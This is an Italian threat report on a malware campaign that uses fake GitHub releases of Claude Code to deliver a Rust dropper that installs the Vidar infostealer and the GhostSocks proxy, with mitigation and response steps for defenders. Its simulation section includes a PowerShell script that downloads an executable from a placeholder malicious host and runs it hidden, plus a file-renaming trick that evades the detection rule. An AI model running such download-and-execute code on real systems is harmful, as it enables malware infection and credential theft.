Claude Code Lures trasforma le release di GitHub in un canale di distribuzione malware

Riepilogo

Gli attori delle minacce hanno rapidamente sfruttato un pacchetto npm mal configurato che ha inavvertitamente esposto il codice sorgente di Claude Code di Anthropic. Hanno creato repository GitHub falsi che ospitavano ‘release’ trojanizzate in formato 7z che distribuiscono un loader costruito in Rust. Una volta eseguito, il dropper installa l’infostealer Vidar insieme al proxy SOCKS5 GhostSocks per consentire furti e accessi nascosti.

Indagine

L’indagine ha scoperto un’operazione di esca rotante attiva da febbraio 2026, che si basa su account GitHub di breve durata per pubblicare artefatti di release dannosi. Attraverso il set di esche, le vittime ricevono lo stesso payload TradeAI.exe, che decripta gli URL C2 incorporati, esegue controlli anti-analisi e distribuisce sia Vidar che GhostSocks. La scoperta del C2 viene gestita tramite risolutori dead-drop ospitati su Steam e Telegram, aiutando la campagna a cambiare rapidamente l’infrastruttura.

Mitigazione

Le organizzazioni dovrebbero limitare l’installazione di strumenti AI a fonti verificate, bloccare i collegamenti di release GitHub noti per essere malevoli e i domini C2 correlati, e monitorare attentamente i comportamenti di furto delle credenziali. Aggiungere rilevamenti endpoint per i droppers compilati in Rust e i comuni schemi di esecuzione Vidar/GhostSocks. Rafforzare la copertura per segnali di evasione in sandbox e limitare l’esecuzione di script sospetti (inclusa l’attività anomala di PowerShell) che possono essere utilizzati per operazioni preparatorie o successive.

Risposta

Se rilevato, isolare l’endpoint, conservare l’eseguibile malevolo e il suo archivio 7z associato, e cercare artefatti Vidar e GhostSocks sull’host e la rete. Bloccare gli URL di pastebin e snippet.host identificati e revocare immediatamente le credenziali esposte. Effettuare una valutazione completa del compromesso delle credenziali, quindi reimpostare gli account privilegiati e invalidare i token/sessioni per prevenire riutilizzi.

Esecuzione di Simulazione

Prerequisito: il Controllo Pre-Flight di Telemetria e Baseline deve essere superato.

Ragionamento: Questa sezione descrive l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.

• Narrazione di Attacco & Comandi:
  Un avversario riceve un’email di phishing (T1566.002) contenente un link malevolo che punta a un repository GitHub compromesso ospitante TradeAI.exe. La vittima clicca sul link, che avvia PowerShell in una finestra nascosta. Lo script scarica il dropper nella directory temporanea, lo esegue, e il dropper successivamente installa lo stealer Vidar e il proxy GhostSocks (T1027, T1090.003).

• Script di Test di Regressione:

   # -------------------------------------------------
    # Simulare esecuzione del dropper TradeAI.exe
    # -------------------------------------------------
    $url = "http://malicious.example.com/TradeAI.exe"
    $outPath = "$env:TEMPTradeAI.exe"
  
    # Scaricare il dropper (simula il comportamento reale dell'attaccante)
    Invoke-WebRequest -Uri $url -OutFile $outPath -UseBasicParsing
  
    # Eseguire il dropper silenziosamente
    Start-Process -FilePath $outPath -WindowStyle Hidden
  
    # OPZIONALE: aspettare alcuni secondi per consentire l'avvio di processi figlio
    Start-Sleep -Seconds 5
    # -------------------------------------------------

• Comandi di Pulizia:

   # Rimuovere il dropper scaricato e tutti gli artefatti temporanei
    $outPath = "$env:TEMPTradeAI.exe"
    if (Test-Path $outPath) { Remove-Item $outPath -Force }
  
    # (Se il dropper ha creato file aggiuntivi, individuarli e cancellarli secondo necessità)
    # Esempio: eliminare la directory dei payload conosciuta
    $payloadDir = "$env:APPDATAVidar"
    if (Test-Path $payloadDir) { Remove-Item $payloadDir -Recurse -Force }

Convalida & Risultato Atteso

1. SIEM Alert Atteso: Dopo l’esecuzione dello script di regressione, il SIEM dovrebbe generare un alert in cui Immagine termina con TradeAI.exe (or ClaudeCode_x64.exe). Il titolo dell’alert corrisponderà al titolo della regola.
2. Test di Evasione: Rinominare il binario scaricato in TradeAI_renamed.exe e rieseguire lo script. Nessun alert dovrebbe essere inviato, confermando la dipendenza della regola dai nomi di file statici.

Raccomandazioni di Indurimento

1. Aggiungere Indicatori Hash: Includere hash SHA-256 di dropper malevoli noti nella regola (o una regola separata basata su hash).
2. Ampliare il Campo: Estendere il rilevamento per monitorare le esecuzioni di binari sconosciuti lanciati da posizioni atipiche (ad esempio, %TEMP%, %APPDATA%).
3. Correlazione Comportamentale: Correlare la creazione di processi con le successive connessioni di rete a domini C2 GhostSocks noti (T1090.003) e le scritture di file di componenti Vidar noti.
4. Applicazione su Endpoint: Distribuire AppLocker o Windows Defender Application Control per bloccare l’esecuzione di binari non firmati da directory scrivibili dagli utenti.

Fine del Rapporto